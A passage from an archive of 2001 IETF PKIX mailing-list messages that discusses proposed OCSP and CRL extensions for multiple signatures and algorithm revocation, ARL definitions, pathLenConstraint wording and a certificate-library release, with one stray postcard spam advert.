entry extension) with approximately the following syntax:

RevokedAlgorithmsSyntax ::= SEQUENCE OF CompromisedAlgorithm
CompromisedAlgorithm ::= SEQUENCE {
      signatureAlgorithm      AlgorithmIdentifier,
      minimumSafeKeyBits INTEGER DEFAULT 1000000000,  -- or any very large
number
     -- would a combination of { KeyUsage flag, Size } be more useful?
      revocationDate     Time,
      explanatoryText    UTF8String OPTIONAL
}
     I don't see the point of having entry extensions inside
revokedAlgorithms, nor do I see any need to extend the base CRL structure
for them.  The criticality of this extension as a whole is a matter of
opinion.
     On multiple signatures, is it really wise to encourage the inclusion
of multiple CMS SignerInfo's or equivalents as an extension to an OCSP
responses?  I know that there are some non-repudiation situations where
this might be of slightly greater use than having the RP choose its desired
signature algorithm using a requestExtension, while being more efficient
than asking for the same answer multiple times with such an extension and
getting multiple identical response bodies with different signatures.
However, signed timestamp pyramiding ought to protect against later
compromises of algorithms which are not believed to be questionable at the
time of the OCSP check.

          Tom Gindin


Sönke Maseberg <[e-mail]> on 02/19/2001 04:27:48 PM

To:   pkix <[e-mail]>
cc:
Subject:  multiple digitale signatures



Hello,

we are working at the problem, that it couldn't be excluded that one
component of a public key infrastructure can be compromised, since no
proofable secure signature algorithm or hash function exists.

For example nowadays the hash functions SHA-1 or RIPEMD-160 and the
signature algorithms RSA with 1024 bit or ECDSA with 160 bit keylength
are qualified for cryptographic purposes. The public key cryptograpy is
based on mathematical problems which are supposed to be hard to solve,
but it is not known for sure. If a failure occurs the security of the
PKI could not be guaranteed any longer as a whole, this means the
electronic communication may be insecure.

That is the reason why we develop a public key infrastructure which will
keep its functionality in the case of failure and which is able to be
repaired and where generated digital signatures won't lose their
proofability.

As a basic restriction the technical components must be integrated in
the PKI in such a flexible manner, that an exchange could be possible.
The flexible public key infrastructure which is developed at the chair
of Professor Buchmann of the Technical University of Darmstadt/Germany
in the "FlexiPKI" project is following this philosophy.

The main idea is to build up a public key infrastructure upon several
independent cryptographic components, where in the case, one component
is compromised the other components still can be used to:
- Exchange the compromised component securely
- Sign electronic documents multiple (concept of multiple digital
signatures)


To support standards of PKIX, we ask for some discussions about our
ideas and extensions:


1. multiple digital signatures

We want to use multiple digital signatures, that are digital signatures
generated of independent signature algorithms, for example RSA with
SHA-1 and ECDSA with RIPEMD-160. PKCS#7 supports those signatures. But
we would  like to extend OCSP responses [RFC 2560] and CRLs (Certificate
and CRL Profile) [<draft-ietf-pkix-new-part1-04.txt>] with multiple
digital signatures in the following manner:

OCSP response:

   BasicOCSPResponse  ::=  SEQUENCE {
      tbsResponseData       ResponseData,
      signatureAlgorithm    AlgorithmIdentifier,
      signature             BIT STRING,
      certs                 [0]  EXPLICIT SEQUENCE OF Certificate
OPTIONAL,
      additionalsignatures  [1]  SEQUENCE OF SEQUENCE {        --
EXTENSION
           signatureAlgorithm         AlgorithmIdentifier,
           signature                  BIT STRING }
           }  OPTIONAL
      }

CRL:

   CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING,
      additionalsignatures   SEQUENCE OF SEQUENCE {           --
EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING
         }  OPTIONAL
      }


2. revoked algorithms

If a signature algorithms is compromised, all certificates have to be
revoked. But the number of those certificates can be very large, so we
would like to revoke an algorithm. For this reason we propose the
following extension of CRL (Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]:

   TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --
EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL,
      revokedAlgorithms      [1]  SEQUENCE OF SEQUENCE {       --
EXTENSION
         signatureAlgorithm          AlgorithmIdentifier,
         revocationDate              Time,
         crlEntryExtensions          Extensions OPTIONAL
         }  OPTIONAL
      }



What do you think about it?

Thanks in advance,
Sönke


---

Sönke Maseberg       GMD - Institut für Sichere Telekooperation
Dipl.-Math.          Rheinstr. 75, D-64295 Darmstadt
                     Tel: [phone], Fax: [phone]

                     Technische Universität Darmstadt
                     Institut fuer Theoretische Informatik
                     Lehrstuhl Prof. J. Buchmann
                     Alexanderstr. 10, D-64283 Darmstadt




Received: from sonne.darmstadt.gmd.de (sonne.darmstadt.gmd.de [141.12.62.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA18741 for <[e-mail]>; Mon, 19 Feb 2001 13:24:32 -0800 (PST)
Received: from darmstadt.gmd.de (maseberg-isdn.darmstadt.gmd.de [141.12.156.118]) by sonne.darmstadt.gmd.de (8.8.8/8.8.5) with ESMTP id WAA20151 for <[e-mail]>; Mon, 19 Feb 2001 22:24:03 +0100 (MET)
Message-ID: <[e-mail]>
Date: Mon, 19 Feb 2001 22:27:48 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: pkix <[e-mail]>
Subject: multiple digitale signatures
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hello,

we are working at the problem, that it couldn't be excluded that one
component of a public key infrastructure can be compromised, since no
proofable secure signature algorithm or hash function exists. 

For example nowadays the hash functions SHA-1 or RIPEMD-160 and the
signature algorithms RSA with 1024 bit or ECDSA with 160 bit keylength
are qualified for cryptographic purposes. The public key cryptograpy is
based on mathematical problems which are supposed to be hard to solve,
but it is not known for sure. If a failure occurs the security of the
PKI could not be guaranteed any longer as a whole, this means the
electronic communication may be insecure.

That is the reason why we develop a public key infrastructure which will
keep its functionality in the case of failure and which is able to be
repaired and where generated digital signatures won't lose their
proofability.

As a basic restriction the technical components must be integrated in
the PKI in such a flexible manner, that an exchange could be possible.
The flexible public key infrastructure which is developed at the chair
of Professor Buchmann of the Technical University of Darmstadt/Germany
in the "FlexiPKI" project is following this philosophy. 

The main idea is to build up a public key infrastructure upon several
independent cryptographic components, where in the case, one component
is compromised the other components still can be used to:
- Exchange the compromised component securely
- Sign electronic documents multiple (concept of multiple digital
signatures)


To support standards of PKIX, we ask for some discussions about our
ideas and extensions:


1. multiple digital signatures

We want to use multiple digital signatures, that are digital signatures
generated of independent signature algorithms, for example RSA with
SHA-1 and ECDSA with RIPEMD-160. PKCS#7 supports those signatures. But
we would  like to extend OCSP responses [RFC 2560] and CRLs (Certificate
and CRL Profile) [<draft-ietf-pkix-new-part1-04.txt>] with multiple
digital signatures in the following manner:

OCSP response:

   BasicOCSPResponse  ::=  SEQUENCE {
      tbsResponseData       ResponseData,
      signatureAlgorithm    AlgorithmIdentifier,
      signature             BIT STRING,
      certs                 [0]  EXPLICIT SEQUENCE OF Certificate
OPTIONAL,
      additionalsignatures  [1]  SEQUENCE OF SEQUENCE {        --
EXTENSION              
           signatureAlgorithm         AlgorithmIdentifier,
           signature                  BIT STRING } 
           }  OPTIONAL
      }

CRL:

   CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING, 
      additionalsignatures   SEQUENCE OF SEQUENCE {           --
EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING 
         }  OPTIONAL
      }


2. revoked algorithms

If a signature algorithms is compromised, all certificates have to be
revoked. But the number of those certificates can be very large, so we
would like to revoke an algorithm. For this reason we propose the
following extension of CRL (Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]:
 
   TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --
EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL, 
      revokedAlgorithms      [1]  SEQUENCE OF SEQUENCE {       --
EXTENSION
         signatureAlgorithm          AlgorithmIdentifier,
         revocationDate              Time,
         crlEntryExtensions          Extensions OPTIONAL 
         }  OPTIONAL
      }



What do you think about it? 

Thanks in advance,
Sönke


---

Sönke Maseberg       GMD - Institut für Sichere Telekooperation
Dipl.-Math.          Rheinstr. 75, D-64295 Darmstadt
                     Tel: [phone], Fax: [phone]

                     Technische Universität Darmstadt
                     Institut fuer Theoretische Informatik
                     Lehrstuhl Prof. J. Buchmann
                     Alexanderstr. 10, D-64283 Darmstadt


Received: from mail.imc.org ([211.219.97.33]) by above.proper.com (8.9.3/8.9.3) with SMTP id JAA11270 for <[e-mail]>; Mon, 19 Feb 2001 09:03:12 -0800 (PST)
Message-Id: <[e-mail]>
From: Asian.Postcard
Date: Tue, 20 Feb 2001 02:02:48
X-Mailer: Prospect Mailer 2000
To: [e-mail]
Subject: You can send actual postcard from asia
MIME-Version: 1.0
Content-Type: text/plain;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

If you received an actual postcard from abroad¡¦.
How do you feel ?
 

We send it from Seoul Korea to your client in worldwide with a Korea stamp and oriental postcard with your handwritten messages.

Your customer will think you are sending it from Korea with traveling, even if you are not there.

a)	customer's interest - say hello from the mystery world.
b)	customer's inspiration - your special concerns from abroad.
c)	unique experience - receiving news from the opposite side of the earth.
d)	hand-written message - think of them as a valued customer

For most companies it means the difference between a sizeable profit margin and just getting by. A successful business requires good communication between the company and the client and the company showing that it cares about its clients.

With our personalized postcards you have the opportunity to show that you care about the people who make your business profitable.
Many companies have greeting cards that can be received electronically. Our company is not one of those. Even though we realize that we are in the electronic age we relate to how important an 'actual' postcard received at their home or office can be. Our postcards served handwritten so that they can be personable. These messages will relate that you care about their business and think of them as a valued customer.

So why wait any longer to let your customers know how you feel about them 
Visit our website today at http://www.asiancard.com to let them know how important they are to you.

Sincerely 

Jaeson Joe
Asian postcard service  
[e-mail]



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id XAA12286 for <[e-mail]>; Sun, 18 Feb 2001 23:07:41 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Sun, 18 Feb 2001 23:07:41 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Sun, 18 Feb 2001 23:07:40 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <19FD56DP>; Sun, 18 Feb 2001 23:02:14 -0800
Content-return: allowed
Date: Sun, 18 Feb 2001 23:02:03 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: ARL without IDP extension
To: "'Hiroyuki Sakakibara'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-2022-jp"

Hi Sakakibara-san,
    I believe we are saying the same thing - we vehemently
agree - which is always a pleasure on this list :-)

Regards,
Ambarish


---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Hiroyuki Sakakibara [mailto:[e-mail]]
> Sent: Sunday, February 18, 2001 10:45 PM
> To: Ambarish Malpani; [e-mail]
> Subject: Re: ARL without IDP extension
> 
> 
> Mr. Malpani
> 
> Thank you for your comment.
> 
> Mr. Malpani> I would agree with you, that any CRL that didn't contain
> Mr. Malpani> the IDP extension *is* a full CRL. Anything else 
> would be an
> Mr. Malpani> invitation to trouble.
> 
> I think that if an ARL without IDP is issued by a CA and it 
> causes trouble,
> the CA is responsible for it, not RP.
> 
> A CA may locate such ARLs in a directory system as
> "authorityRevocationList"s.
> If a RP trusts the directory system, the RP may use the ARL 
> without IDP
> in the directory entry as ARL, but otherwise the RP can not 
> recognize the
> entry is "ARL".
> 
> I think even though the RP trusts the Directory system by any method
> ( passowrd authentication or SSL etc ... ), the RP shoud check that
> the ARL is "ARL" by himself,
> because the RP's trust level for the directory system and the ARL's
> signagture is not identical.
> Hence, I think an ARL should contain an information such as IDP
> which a RP can recognize the RL is  "ARL" by checking the RL it self.
> 
> Hiroyuki Sakakibara
> 
> ---------------------------------------
> Hiroyuki Sakakibara
> MITSUBISHI ELECTRIC CORPORATION
> Information Technology R&D Center
> 5-1-1 Ofuna, Kamakura, Kanagawa, Japan
> PHONE: [phone]
> FAX:   [phone]
> E-mail : [e-mail]
> 
> ----- Original Message -----
> From: Ambarish Malpani <[e-mail]>
> To: 'Hiroyuki Sakakibara' <[e-mail]>; 
> <[e-mail]>
> Sent: Thursday, February 15, 2001 3:35 PM
> Subject: RE: ARL without IDP extension
> 
> 
> >
> > Hi,
> >     I would agree with you, that any CRL that didn't contain
> > the IDP extension *is* a full CRL. Anything else would be an
> > invitation to trouble.
> >
> > Ambarish
> >
> > 
> ---------------------------------------------------------------------
> > Ambarish Malpani
> > Architect                                                
> 650.567.5457
> > ValiCert, Inc.                                  
> [e-mail]
> > 339 N. Bernardo Ave.                          
> http://www.valicert.com
> > Mountain View, CA 94043
> >
> >
> > > -----Original Message-----
> > > From: Hiroyuki Sakakibara [mailto:[e-mail]]
> > > Sent: Wednesday, February 14, 2001 10:13 PM
> > > To: [e-mail]
> > > Subject: ARL without IDP extension
> > >
> > >
> > > Hello
> > >
> > > I have a question about the definition of ARL.
> > >
> > > I think that the definition of ARL is
> > >
> > > "a CRL which contains Issuing Distribution Point
> > >   with onlyContainAuthorityCerts = TRUE."
> > >
> > > hence, I think the following CRL is NOT ARL.
> > >
> > > "CRL which contains ONLY CA Certificate Revocation
> > > Information on the list
> > > but not containts IDP"
> > >
> > > I think this is a Complete CRL ( eventhough it contains only
> > > CA Certificate
> > > information).
> > >
> > > Am I right ?
> > >
> > > -------------------------------------------------------------
> > >
> > > If the CRL is determied as ARL, the following problem
> > > may occur.
> > >
> > > * CRL1(as ARL)
> > > Issuer = XYZ_CA
> > > thisUpdate = 2001 02 14 12 00 00 Z
> > > nextUpdate = 2001 03 14 12 00 00 Z
> > > contains CA Certificate Information only
> > > ( Cert1 issued by XYZ_CA is revoked )
> > > without IDP
> > >
> > > * CRL2
> > > Issuer = XYZ_CA
> > > thisUpdate = 2001 02 14 18 00 00 Z
> > > nextUpdate = 2001 03 14 18 00 00 Z
> > > contains EndUser Certificate Information only
> > > without IDP
> > >
> > > Assume that RP check these CRLs at date = 2001 02 17 12 00 00 Z,
> > > RP determine that the latest CRL for a CA certificate "Cert1"
> > > issued by
> > > XYZ_CA  is "CRL2" (for example, cross-certification environment).
> > >
> > > But CRL2 does not contain CA Certificates information, 
> hence RP may
> > > misunderstand that the certificate was valid.
> > >
> > > OR if the definition of CRL1 is correct as ARL( because 
> it contains
> > > ONLY CA Certificate Information),
> > > RP should check both CRL1 and CRL2 ???
> > >
> > > I welcome any comments.
> > > Thank you.
> > >
> > > --------------------------
> > > Hiroyuki Sakakibara
> > > Mitsubishi Electric Corporation
> > >
> > >
> >
> 
> 
> 
> 


Received: from mx01.melco.co.jp (mx01.melco.co.jp [192.218.140.41]) by above.proper.com (8.9.3/8.9.3) with ESMTP id WAA09355 for <[e-mail]>; Sun, 18 Feb 2001 22:42:34 -0800 (PST)
Received: by mx01.melco.co.jp (mx01) id PAA15663; Mon, 19 Feb 2001 15:41:49 +0900 (JST)
Received: by mr01.melco.co.jp (mr01) id PAA25566; Mon, 19 Feb 2001 15:41:48 +0900 (JST)
Received: from islgw.isl.melco.co.jp by elgw.isl.melco.co.jp (8.8.8/3.6W) id PAA21077; Mon, 19 Feb 2001 15:41:48 +0900 (JST)
Received: from iss.isl.melco.co.jp by islgw.isl.melco.co.jp (8.8.8/3.6W) id PAA26423; Mon, 19 Feb 2001 15:41:47 +0900 (JST)
Received: from belize by iss.isl.melco.co.jp (8.8.8/3.6W) id PAA23924; Mon, 19 Feb 2001 15:41:45 +0900 (JST)
Message-ID: <004c01c09a3f$7ed35490$[e-mail]>
From: "Hiroyuki Sakakibara" <[e-mail]>
To: "Ambarish Malpani" <[e-mail]>, <[e-mail]>
References: <[e-mail]>
Subject: Re: ARL without IDP extension
Date: Mon, 19 Feb 2001 15:45:06 +0900
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Mr. Malpani

Thank you for your comment.

Mr. Malpani> I would agree with you, that any CRL that didn't contain
Mr. Malpani> the IDP extension *is* a full CRL. Anything else would be an
Mr. Malpani> invitation to trouble.

I think that if an ARL without IDP is issued by a CA and it causes trouble,
the CA is responsible for it, not RP.

A CA may locate such ARLs in a directory system as
"authorityRevocationList"s.
If a RP trusts the directory system, the RP may use the ARL without IDP
in the directory entry as ARL, but otherwise the RP can not recognize the
entry is "ARL".

I think even though the RP trusts the Directory system by any method
( passowrd authentication or SSL etc ... ), the RP shoud check that
the ARL is "ARL" by himself,
because the RP's trust level for the directory system and the ARL's
signagture is not identical.
Hence, I think an ARL should contain an information such as IDP
which a RP can recognize the RL is  "ARL" by checking the RL it self.

Hiroyuki Sakakibara

---------------------------------------
Hiroyuki Sakakibara
MITSUBISHI ELECTRIC CORPORATION
Information Technology R&D Center
5-1-1 Ofuna, Kamakura, Kanagawa, Japan
PHONE: [phone]
FAX:   [phone]
E-mail : [e-mail]

----- Original Message -----
From: Ambarish Malpani <[e-mail]>
To: 'Hiroyuki Sakakibara' <[e-mail]>; <[e-mail]>
Sent: Thursday, February 15, 2001 3:35 PM
Subject: RE: ARL without IDP extension


>
> Hi,
>     I would agree with you, that any CRL that didn't contain
> the IDP extension *is* a full CRL. Anything else would be an
> invitation to trouble.
>
> Ambarish
>
> ---------------------------------------------------------------------
> Ambarish Malpani
> Architect                                                650.567.5457
> ValiCert, Inc.                                  [e-mail]
> 339 N. Bernardo Ave.                          http://www.valicert.com
> Mountain View, CA 94043
>
>
> > -----Original Message-----
> > From: Hiroyuki Sakakibara [mailto:[e-mail]]
> > Sent: Wednesday, February 14, 2001 10:13 PM
> > To: [e-mail]
> > Subject: ARL without IDP extension
> >
> >
> > Hello
> >
> > I have a question about the definition of ARL.
> >
> > I think that the definition of ARL is
> >
> > "a CRL which contains Issuing Distribution Point
> >   with onlyContainAuthorityCerts = TRUE."
> >
> > hence, I think the following CRL is NOT ARL.
> >
> > "CRL which contains ONLY CA Certificate Revocation
> > Information on the list
> > but not containts IDP"
> >
> > I think this is a Complete CRL ( eventhough it contains only
> > CA Certificate
> > information).
> >
> > Am I right ?
> >
> > -------------------------------------------------------------
> >
> > If the CRL is determied as ARL, the following problem
> > may occur.
> >
> > * CRL1(as ARL)
> > Issuer = XYZ_CA
> > thisUpdate = 2001 02 14 12 00 00 Z
> > nextUpdate = 2001 03 14 12 00 00 Z
> > contains CA Certificate Information only
> > ( Cert1 issued by XYZ_CA is revoked )
> > without IDP
> >
> > * CRL2
> > Issuer = XYZ_CA
> > thisUpdate = 2001 02 14 18 00 00 Z
> > nextUpdate = 2001 03 14 18 00 00 Z
> > contains EndUser Certificate Information only
> > without IDP
> >
> > Assume that RP check these CRLs at date = 2001 02 17 12 00 00 Z,
> > RP determine that the latest CRL for a CA certificate "Cert1"
> > issued by
> > XYZ_CA  is "CRL2" (for example, cross-certification environment).
> >
> > But CRL2 does not contain CA Certificates information, hence RP may
> > misunderstand that the certificate was valid.
> >
> > OR if the definition of CRL1 is correct as ARL( because it contains
> > ONLY CA Certificate Information),
> > RP should check both CRL1 and CRL2 ???
> >
> > I welcome any comments.
> > Thank you.
> >
> > --------------------------
> > Hiroyuki Sakakibara
> > Mitsubishi Electric Corporation
> >
> >
>






Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA17915 for <[e-mail]>; Sat, 17 Feb 2001 12:23:53 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id JAA15398; Sun, 18 Feb 2001 09:23:48 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98244142820595>; Sun, 18 Feb 2001 09:23:48 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re:  OT: asn.1 OID parser
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Sun, 18 Feb 2001 09:23:48 (NZDT)
Message-ID: <[e-mail]>

"Martin Szotkowski" <[e-mail]> writes:

>I wish read OID from ASN.1 code and write them into other file with full
>number specific OID.
>Exist some C code or program or parser for do it?

Yes, http://www.cs.auckland.ac.nz/~pgut001/dumpasn1.c and .cfg.

Peter.




Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA29618 for <[e-mail]>; Fri, 16 Feb 2001 14:27:01 -0800 (PST)
Received: from sunlabs.East.Sun.COM ([129.148.75.250]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA29930; Fri, 16 Feb 2001 14:27:03 -0800 (PST)
Received: from sun.com (dhcp75-155 [129.148.75.155]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA16833; Fri, 16 Feb 2001 17:27:01 -0500 (EST)
Message-ID: <[e-mail]>
Date: Fri, 16 Feb 2001 17:23:43 -0500
From: Steve Hanna <[e-mail]>
Organization: Sun Microsystems, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "David A. Cooper" <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"David A. Cooper" wrote:
> I believe that the problem we are currently experiencing is as a
> result of the original text not being sufficiently clear.

I thought the original text was quite clear. But I guess not.

The original text said:

   The pathLenConstraint field is meaningful only if cA is set to TRUE.
   In this case, it gives the maximum number of CA certificates that may
   follow this certificate in a certification path. A value of zero
   indicates that only an end-entity certificate may follow in the path.

The revised text says:

   The pathLenConstraint field is meaningful only if cA is set to TRUE.
   In this case, it gives the maximum number of CA certificates that may
   follow this certificate in a certification path. (Note: One end-
   entity certificate will follow the final CA certificate in the path.
   The last certificate in a path is considered an end-entity
   certificate, whether the subject of the certificate is a CA or not.)
   A pathLenConstrinat of zero indicates that only an end-entity
   certificate may follow in the path.

I find it odd to say that a certificate with cA=TRUE is a CA certificate
*unless* it is the last certificate in a path. I suppose this is only a
wording problem, but I find this wording *less* clear than the old
wording.

I also question whether the revised semantics for pathLenConstraint will
be as easy to understand for CA operators.

Do we really need to complicate things like this to handle a case that
you admit will be rare (a CA that uses another CA for indirect CRLs,
combined with max_path_length of 0)?

> You seem to suggest that we are now stating that a path may be valid
> expect for the keyCertSign key usage. However, one should never make
> use of the keyCertSign key usage bit when it appears in the last
> certificate in a path.

This is true. But I doubt that it's widely understood. Perhaps it should
be highlighted in the document.

> Of course, as I mentioned earlier, it is possible to achieve the
> desired results in a PKI using either of the semantics, so the main
> goal should be to ensure that whatever the final decision is, the
> semantics are clearly written in the next draft of the certificate and
> CRL profile.

Agreed.

> Perhaps others, particularly those who have already implemented this
> extension, could provide their opinions on this subject as well.

I agree with this as well. I'll be on vacation next week, but I trust
you folks to make the right decision. If I'm alone in my concern about
this, then we should go with rough consensus, which seems to be running
against me at the moment.

-Steve


Received: from wfhqex05.gfgsi.com (netva01.wangfed.com [206.137.100.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA25402; Fri, 16 Feb 2001 13:22:59 -0800 (PST)
Received: by wfhqex05.gfgsi.com with Internet Mail Service (5.5.2650.21) id <Z2A4YA6W>; Fri, 16 Feb 2001 16:26:19 -0500
Message-ID: <[e-mail]>
From: "Pawling, John" <[e-mail]>
To: "Pawling, John" <[e-mail]>
Subject: v1.9 Certificate Management Library Now Available
Date: Fri, 16 Feb 2001 16:26:11 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

All,

Getronics Government Solutions has delivered the Version 1.9 Certificate
Management Library (CML) for MS Windows, Solaris 2.7 and Linux.  The v1.9
CML is freely available to everyone from the Getronics CML web page
<http://www.getronicsgov.com/hot/cml_home.htm>.  This release includes two
major enhancements.  It implements the certificate policy processing
requirements specified in the 2000 X.509 Recommendation.  Also, the
Lightweight Directory Access Protocol (LDAP) and database callback functions
were moved from the CML to a separate, dynamic Storage & Retrieval Library
(SRL).  

The v1.9 CML is described in the v1.9 CML Application Programming Interface
(API) document.  It implements the 2000 X.509 Recommendation certification
path processing rules and SDN.706.  It meets the majority of the IETF PKIX
RFC 2459 Certificate/CRL Profile requirements.  It uses the v1.2 Certificate
Path Development Library (CPDL) developed by CygnaCom Solutions, an Entrust
Technologies company, to provide robust certification path building
capabilities such as using cross certificates. 

The CML has been used to validate X.509 Certificates and Certificate
Revocation Lists (CRL) signed using the Digital Signature Algorithm (DSA)
and RSA.  Further enhancements, ports and testing of the CML are still in
process.  Further releases of the CML will be provided as significant
capabilities are added. 

The following enhancements are included in the v1.9 CML release (compared
with the v1.8 release):

1) Added support for 2000 X.509 certificate policy processing.  We
successfully tested the CML using test certificate paths that we created to
thoroughly test the new features, including positive and negative tests.  
2) Enhanced the internal RAM cache to store validated CRLs.  This also
included adding the hash of the certificates and CRLs to the RAM cache to
uniquely identify the object in the cache.  
3) Added ASN.1 decoding support for the new 2000 X.509 certificate and CRL
extensions. 

4) Enhanced CML so that it can be used with any LDAP library. This includes
splitting the CML's database and LDAP callback functions into their own
dynamic library (SRL).  This moves the LDAP linkage from the CML to the SRL.
The SRL also provides local certificate and CRL storage management
functions.  This included enhancing the SRL so that implementing the
database callback functions will cause the native CML database to be
disregarded.  We tested the SRL with the Netscape LDAP library on Windows.
We tested the SRL with the OpenLDAP library on Linux and Solaris. 

5) Tested the v1.9 CML with the new version (v2.0) of the CPDL provided by
CygnaCom to fix bugs in the previous CPDL release.

6) We fixed bugs in the v1.81 CML.  The CML was always initializing the
require-explicit-policy value to "True" (rather than using the value
provided by the application).  The CML was crashing when it encountered a
CRL Distribution Point extension that included a Uniform Resource
Identifier.  

7) Enhanced CMTest automated test utility to test new features of v1.9 CML
and SRL. 

8) Delivered new CML and SRL documents.


The following v1.9 CML files are available from the Getronics CML web page:
1) Windows_CMLLibv1.9.zip: MS Windows Dynamically Linked Libraries (DLL) 
2) Windows_CM_Tool.tar.z: CM_Tool DLL
3) Solaris_CMLLibv1.9.tar.Z: Sun Solaris Libraries 
4) Solaris_CM_Tool.tar.z: CM_Tool for Solaris
5) Linux_CMLLibv1.9.tar.Z: Linux Libraries
6) Linux_CM_Tool.tar.z: CM_Tool for Linux
7) CML_source.tar.Z: Source, including Windows project files 
8) CMAPI_data.tar.Z: Test Certs and CRLs used to test v1.9 CML

The v1.9 CML API document (CMv1.9api.doc, CMv1.9api.pdf), v1.9 SRL API 
document (SRLv1.9api.doc, SRLv1.9api.pdf), and v1.9 CML readme file are
also available from the Getronics CML web page.

All source code for the CML is being provided at no cost and with no
financial limitations regarding its use and distribution. Organizations can
use the CML without paying any royalties or licensing fees.  The CML was
originally developed by the U.S. Government.  Getronics is enhancing and
supporting the CML under contract to the U.S. Government.  The U.S.
Government is furnishing the CML software at no cost to the vendor subject
to the conditions of the CML Public License provided with the CML software.
The CML software is not subject to U.S. Government encryption export
regulations, so it is freely available to everyone.

The v1.9 CML uses the Getronics v1.3 R5 Enhanced SNACC ASN.1 Library to
encode/decode objects.  Getronics has successfully tested the v1.9 CML with
the
SNACC and CTIL DLLs delivered in conjunction with the v1.9 SFL.  Source code
for the Getronics-developed CTILs is available from
<http://www.getronicsgov.com/hot/sfl_home.htm>.  The actual crypto libraries
are
not provided with the CML or SFL.  They must be independently obtained
from the appropriate source.  

The v1.9 CML can be used in conjunction with the v1.2 CPDL to successfully
meet all of the requirements of the Bridge Certification Authority
Demonstration effort which includes cross-certified Entrust, Spyrus and
Motorola v3 certificate domains.  The CML_source.tar.Z file includes the
CPDL
source code and public license.  <http://www.cygnacom.com/cpl> provides more
information regarding the CPDL.

The National Institute of Standards and Technology (NIST) is providing a
standard test suite of X.509 certificate paths
<http://csrc.nist.gov/pki/testing/x509paths.html> that can be used for
testing applications against RFC 2459.  The CML was used to successfully 
process the NIST test data.

The Internet Mail Consortium (IMC) has established a CML web page
<http://www.imc.org/imc-cml>   
and a CML mail list which is used to: distribute information regarding CML
releases; discuss CML-related issues; and allow CML users to provide
feedback, comments, bug reports, etc.  Subscription information for the
imc-cml mailing list is at the IMC web site listed above.  

All comments regarding the CML source code and documents are welcome. This
CML release announcement was sent to several mail lists, but please send all
messages regarding the CML to the imc-cml mail list ONLY.  Please do not
send messages regarding the CML to any of the IETF mail lists.  We will
respond to all messages sent to the imc-cml mail list.

===========================================
